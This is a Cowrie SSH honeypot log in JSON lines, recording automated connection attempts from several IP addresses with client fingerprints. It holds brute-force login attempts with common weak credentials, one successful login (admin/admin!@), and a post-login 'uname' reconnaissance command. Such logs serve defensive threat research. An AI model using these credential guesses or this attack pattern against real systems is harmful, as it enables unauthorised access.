{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:18.791748Z","src_ip":"45.156.87.147","session":"6dbc892d89ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:19.877301Z","src_ip":"45.156.87.147","session":"6dbc892d89ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":40386,"dst_ip":"10.17.0.5","dst_port":22,"session":"972991d77040","protocol":"ssh","message":"New connection: 8.219.200.1:40386 (10.17.0.5:22) [session: 972991d77040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:23.567626Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40852,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb6e0795bb45","protocol":"ssh","message":"New connection: 45.156.87.147:40852 (10.17.0.5:22) [session: cb6e0795bb45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:24.719372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:24.723871Z","src_ip":"45.156.87.147","session":"cb6e0795bb45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:24.811099Z","src_ip":"45.156.87.147","session":"cb6e0795bb45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:25.060390Z","src_ip":"45.156.87.147","session":"cb6e0795bb45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:26.145150Z","src_ip":"45.156.87.147","session":"cb6e0795bb45","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:27.507842Z","src_ip":"8.219.200.1","session":"972991d77040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:27.749412Z","src_ip":"8.219.200.1","session":"972991d77040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":51188,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5d1c3398cec","protocol":"ssh","message":"New connection: 176.32.39.21:51188 (10.17.0.5:22) [session: c5d1c3398cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:29.563786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:29.568088Z","src_ip":"176.32.39.21","session":"c5d1c3398cec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:29.691540Z","src_ip":"176.32.39.21","session":"c5d1c3398cec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe123asd","message":"login attempt [root/123qwe123asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:30.071838Z","src_ip":"176.32.39.21","session":"c5d1c3398cec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56276,"dst_ip":"10.17.0.5","dst_port":22,"session":"c09a02182f04","protocol":"ssh","message":"New connection: 45.156.87.147:56276 (10.17.0.5:22) [session: c09a02182f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:30.577980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:30.592527Z","src_ip":"45.156.87.147","session":"c09a02182f04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:30.677928Z","src_ip":"45.156.87.147","session":"c09a02182f04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"1qaz2wsx","message":"login attempt [node/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:30.926150Z","src_ip":"45.156.87.147","session":"c09a02182f04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:31.114150Z","src_ip":"8.219.200.1","session":"972991d77040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:31.195831Z","src_ip":"176.32.39.21","session":"c5d1c3398cec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:32.019311Z","src_ip":"45.156.87.147","session":"c09a02182f04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:32.361086Z","src_ip":"8.219.200.1","session":"972991d77040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":41450,"dst_ip":"10.17.0.5","dst_port":22,"session":"d85c6a4382b7","protocol":"ssh","message":"New connection: 8.219.200.1:41450 (10.17.0.5:22) [session: d85c6a4382b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:35.808817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:35.895324Z","src_ip":"8.219.200.1","session":"d85c6a4382b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:36.130100Z","src_ip":"8.219.200.1","session":"d85c6a4382b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56284,"dst_ip":"10.17.0.5","dst_port":22,"session":"81cfef6f5b07","protocol":"ssh","message":"New connection: 45.156.87.147:56284 (10.17.0.5:22) [session: 81cfef6f5b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:36.693467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:36.701550Z","src_ip":"45.156.87.147","session":"81cfef6f5b07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:36.781015Z","src_ip":"45.156.87.147","session":"81cfef6f5b07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:36.989918Z","src_ip":"8.219.200.1","session":"d85c6a4382b7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:37.103140Z","src_ip":"45.156.87.147","session":"81cfef6f5b07","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:37.307117Z","src_ip":"45.156.87.147","session":"81cfef6f5b07","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:37.310464Z","src_ip":"45.156.87.147","session":"81cfef6f5b07","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:37.396730Z","src_ip":"45.156.87.147","session":"81cfef6f5b07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:37.401815Z","src_ip":"45.156.87.147","session":"81cfef6f5b07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:38.230581Z","src_ip":"8.219.200.1","session":"d85c6a4382b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":54880,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd63aba3826e","protocol":"ssh","message":"New connection: 27.71.230.31:54880 (159.203.135.109:22) [session: dd63aba3826e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:40.913734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:40.947467Z","src_ip":"27.71.230.31","session":"dd63aba3826e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:41.390003Z","src_ip":"27.71.230.31","session":"dd63aba3826e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43476,"dst_ip":"10.17.0.5","dst_port":22,"session":"71fa3abf9514","protocol":"ssh","message":"New connection: 45.156.87.147:43476 (10.17.0.5:22) [session: 71fa3abf9514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:42.963843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:42.969926Z","src_ip":"45.156.87.147","session":"71fa3abf9514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:43.045933Z","src_ip":"45.156.87.147","session":"71fa3abf9514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:43.365182Z","src_ip":"45.156.87.147","session":"71fa3abf9514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:44.448673Z","src_ip":"45.156.87.147","session":"71fa3abf9514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABC123","message":"login attempt [root/ABC123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:46.365550Z","src_ip":"27.71.230.31","session":"dd63aba3826e","protocol":"ssh"}
